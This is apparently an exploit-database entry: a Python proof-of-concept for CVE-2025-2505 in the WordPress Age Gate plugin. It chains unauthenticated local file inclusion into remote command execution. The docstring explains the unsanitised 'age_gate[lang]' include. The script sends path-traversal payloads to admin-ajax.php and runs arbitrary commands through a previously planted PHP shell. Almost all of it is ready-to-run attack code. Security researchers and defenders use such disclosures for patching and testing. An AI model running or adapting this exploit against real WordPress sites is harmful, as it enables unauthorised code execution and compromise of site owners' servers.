Share
## https://sploitus.com/exploit?id=PACKETSTORM:226444
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Age Gate <= 3.5.2 - Unauthenticated Local File Inclusion to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/age-gate/
    # Software Link: https://downloads.wordpress.org/plugin/age-gate.3.5.2.zip
    # Version: 3.5.2 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-2505
    """CVE-2025-2505 โ€” Age Gate <= 3.5.2 โ€” Unauthenticated Local File Inclusion -> RCE
    
    Blackbox HTTP exploit against a real WordPress + Age Gate install.
    
    Root cause: the age-check endpoint reads `age_gate[lang]` from the request
    (`vendor/agegate/common/src/Settings.php`) with no sanitization, and the validator includes a
    language file built from it (`vendor/asylum/validation/src/Validator.php:754`):
    
        $lang_file = __DIR__.DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$this->lang.'.php';
        $messages  = include $lang_file;
    
    `.php` is appended, so this is a PHP Local File Inclusion: a path-traversal `lang` value that
    points at an attacker-controlled `.php` on disk gets included and executed. Reachable
    unauthenticated via `wp_ajax_nopriv_ag_check` (src/Legacy/Check.php:20) or the REST route
    `/wp-json/age-gate/v3/check` (`permission_callback => '__return_true'`). The include is on the
    validation-error path, so we deliberately omit the age fields to force it.
    
    PRIOR STATE (see setup_state.sh): an attacker-controlled `.php` must exist on disk โ€” e.g. an
    image/avatar/media upload, a poisoned file, or any write primitive. This PoC uses
    `wp-content/uploads/agshell.php` planted as prior state.
    
    Usage:
      ./setup_state.sh                       # plant the attacker .php in uploads (prior state)
      python3 CVE-2025-2505_age-gate.py --target http://localhost:8090 --shell-relpath wp-content/uploads/agshell --cmd 'id'
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def try_lfi(base, depth, shell_relpath, cmd):
        trav = "../" * depth + shell_relpath
        url = base.rstrip("/") + "/wp-admin/admin-ajax.php"
        r = requests.post(url, params={"c": cmd},
                          data={"action": "ag_check", "age_gate[lang]": trav},
                          timeout=20, verify=False)
        return r.text
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--shell-relpath", default="wp-content/uploads/agshell",
                        help="path of the planted .php WITHOUT the .php suffix (the plugin appends it)")
        ap.add_argument("--cmd", default="id")
        ap.add_argument("--marker", default="AGELFI_PWNED_2505")
        args = ap.parse_args()
        print(f"[*] Target: {args.target}")
        print(f"[*] LFI via age_gate[lang] traversal -> {args.shell_relpath}.php  (cmd: {args.cmd})")
        # the traversal depth from the validator's lang/ dir varies; sweep a small range
        for depth in range(6, 12):
            body = try_lfi(args.target, depth, args.shell_relpath, args.cmd)
            if args.marker in body:
                out = body.split(args.marker, 1)[1].split("<p>")[0].strip(": \n")
                print(f"\n[+] RCE CONFIRMED (LFI include of attacker .php, unauthenticated). depth={depth}")
                print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{out}\n{'-'*50}")
                return 0
            print(f"    depth={depth} -> no marker")
        print("\n[-] Not confirmed. Ensure the .php is planted (run setup_state.sh) and path is correct.")
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())